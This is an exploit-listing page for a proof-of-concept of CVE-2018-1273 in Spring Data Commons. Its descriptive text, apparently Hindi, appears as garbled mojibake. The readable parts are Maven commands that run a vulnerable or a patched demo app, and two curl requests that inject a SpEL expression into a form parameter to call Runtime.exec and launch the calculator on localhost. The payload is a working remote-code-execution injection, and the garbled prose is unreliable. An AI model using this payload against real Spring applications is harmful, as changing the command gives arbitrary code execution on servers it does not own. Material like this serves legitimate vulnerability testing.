## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WEAREARIMA-POC-CVE-2018-1273
# CVE-2018-1273
Spring Data Commons, рд╕рдВрд╕реНрдХрд░рдг 1.13 рд╕реЗ 1.13.10, 2.0 рд╕реЗ 2.0.5, рдФрд░ рдкреБрд░рд╛рдиреЗ рдЕрд╕рдорд░реНрдерд┐рдд рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдореЗрдВ рдПрдХ рдкреНрд░реЙрдкрд░реНрдЯреА рдмрд╛рдЗрдВрдбрд░ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рд╡рд┐рд╢реЗрд╖ рддрддреНрд╡реЛрдВ рдХреЗ рдЕрдиреБрдЪрд┐рдд рдиреНрдпреВрдЯреНрд░рд▓рд╛рдЗрдЬреЗрд╢рди рдХреЗ рдХрд╛рд░рдг рд╣реЛрддреА рд╣реИред рдПрдХ рдЕрдкреНрд░рдорд╛рдгрд┐рдд рджреВрд░рд╕реНрде рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (рдпрд╛ рд╣рдорд▓рд╛рд╡рд░) Spring Data REST рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд HTTP рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд╡рд┐рд░реБрджреНрдз рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдП рдЧрдП рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдкреНрд░рджрд╛рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ Spring Data рдХреЗ рдкреНрд░реЛрдЬреЗрдХреНрд╢рди-рдЖрдзрд╛рд░рд┐рдд рдЕрдиреБрд░реЛрдз рдкреЗрд▓реЛрдб рдмрд╛рдЗрдВрдбрд┐рдВрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рджреВрд░рд╕реНрде рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрди рд╣рдорд▓реЗ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддрд╛ рд╣реИред
рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдпрд╣рд╛рдБ
# рдЪрд▓рд╛рдирд╛
рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ Spring Data Commons рдХреЗ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдпрд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг рдХреЗ рд╕рд╛рде рдкрд░реАрдХреНрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
* рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ):
root@kitploit:~
mvn spring-boot:run
* рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрд╕реНрдХрд░рдг:
root@kitploit:~
mvn spring-boot:run -Dfixed
# рднреЗрджреНрдпрддрд╛ рдХрд╛ рдкрд░реАрдХреНрд╖рдг
рдпрд╣ рдЬрд╛рдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ рдХрд┐ рдХреНрдпрд╛ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
* рд╡рд┐рдВрдбреЛрдЬрд╝ рдкрд░:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')]=123"
* рдореИрдХрдУрдПрд╕ рдкрд░:
root@kitploit:~
curl -X POST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('/Applications/Calculator.app/Contents/MacOS/Calculator')]=test"